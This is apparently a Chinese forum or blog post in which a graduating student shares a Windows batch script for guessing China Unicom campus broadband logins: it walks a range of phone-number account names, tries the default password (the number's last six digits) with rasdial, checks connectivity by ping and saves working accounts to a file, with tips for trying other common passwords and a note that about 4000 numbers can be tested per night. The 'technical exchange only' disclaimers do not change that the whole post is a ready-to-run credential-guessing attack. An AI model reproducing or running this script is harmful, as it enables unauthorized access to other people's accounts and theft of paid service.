本文仅限技术交流,请勿侵犯他人账号。
毕业了,分享一个小技巧。。。
学校的联通宽带账号使用是使用手机号作为账号的,而默认的密码是手机号的后六位,而在学校办理的联通号很多集中在一个号段,这样就可以通过遍历一个号段内所有手机号来测试哪个账号的密码依旧是默认的手机后六位的密码。
下面的批处理需要首先输入一个遍历起始的手机号,然后密码是截取的手机号后六位,通过对手机号的自增并循环来遍历,每一组账号密码尝试登录后,去ping一个地址,如果有响应(TTL>0)说明此账号可用。 同理,你也可以改写设置密码的那行代码,去测试账号的密码是否是六个六,六个零等常用密码。
批处理指令如下,将下面的代码复制到记事本,改后缀为.bat,然后运行即可。
@echo off
setlocal enabledelayedexpansion
set /p a=输入起始号码:
echo %a%|findstr "^[0-9]*[0-9]$">nul||(echo 输入非法&exit /b)
set /p num=输入次数:
echo %num%|findstr "^[0-9]*[0-9]$">nul||(echo 输入非法&exit /b)
set /a num=%num%-1
cd.>可连接.txt
>tmp.vbs echo result = int(wscript.arguments(0))+ int(wscript.arguments(1))
>>tmp.vbs echo Wscript.Echo int(result)
for /l %%l in (0,1,%num%) do (
for /f "delims=" %%a in ('cscript //nologo tmp.vbs %a% %%l') do (
rasdial 宽带连接 /DISCONNECT >nul
set x=%%a
set y=!x:~5!
echo 正在测试%%a...密码!y!
>nul rasdial 宽带连接 %%a !y!
ping /n 2 61.135.169.125|find "TTL=">nul&&(>>可连接.txt echo %%a)
))
del tmp.vbs&start 可连接.txt&exit /b
遍历结束后,所有可用的账号都会存为一个TXT文件(可连接.txt),经过测试,一晚上(5H-6H)大约可以遍历4000个号码。
仅限技术交流,如需使用网络请到运营商购买。